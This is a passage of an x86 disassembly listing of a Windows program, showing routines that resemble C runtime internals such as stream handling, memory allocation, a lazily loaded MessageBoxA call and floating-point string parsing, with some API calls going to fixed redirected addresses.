		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_4395A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_4397AC
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2620000h
		test	eax, eax
		mov	eax, dword_4397AC
		jnz	short loc_420EBD


loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD


loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
; END OF FUNCTION CHUNK	FOR sub_420E98

; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB


loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax


loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax


loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_48B561[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_4395AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------


loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax


loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------


loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_48A2DC, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_48A2DC, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_48A2E0, eax
		call	esi
		mov	dword_48A2E4, eax


loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_48A2E0
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_48A2E4
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax


loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_48A2DC


loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi


loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_48B680
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------


loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_43B7E4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192


loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_48B684
		call	near ptr 2700000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C


loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_48A074, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------


loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]


loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi


loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------


loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7


loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_48B320, esi
		jle	short loc_4211EC


loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi


loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_48A310
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_48A310
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_4211A8


loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_48B440
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi


loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------


loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_48A018, 5
		jnz	short loc_4212C3
		mov	dword_48A014, 0Dh


loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh


loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------


loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25B0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_48A014, 0Dh
		call	near ptr 2640A83h
		nop
		mov	dword_48A018, eax


loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------


loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_48A014, 9


loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh


loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350


loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax


loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]


loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]


loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax


loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi


loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------


loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h


loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------


loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C


loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------


loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi


loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump


loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553


loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------


loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_4397B0
		jnz	short loc_421562


loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------


loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C


loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_4397B0
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B


loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B


loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C


loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_4397B0
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0


loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3


loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_4397AC, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------


loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------


loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]


loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------


loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_4397B0
		jnz	short loc_4216CD


loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686


loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------


loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_4397AC, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------


loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------


loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------


loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_4397AC, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------


loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------


loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E


loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E


loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------


loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8


loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
